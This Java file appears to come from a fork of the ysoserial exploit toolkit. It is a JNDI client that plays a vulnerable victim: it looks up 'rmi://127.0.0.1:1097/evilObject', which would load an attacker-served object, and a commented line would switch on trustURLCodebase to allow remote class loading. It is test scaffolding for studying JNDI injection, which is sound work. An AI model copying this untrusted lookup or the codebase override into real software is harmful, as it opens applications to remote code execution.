package ysoserial.exploit.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

/**
 * @ClassName: JndiClient
 * @Description: ToDo
 * @Author: angelwhu
 * @Create: 2019/03/06 11:16
 **/
public class JndiClient {
    public static void main(String[] args) {
        //For JDK1.8
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String name = "rmi://127.0.0.1:1097/evilObject";
        //String name = "ldap://127.0.0.1:1389/Evil";
        Context ctx = null;
        try {
            ctx = new InitialContext();
            Object lookup = ctx.lookup(name);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}
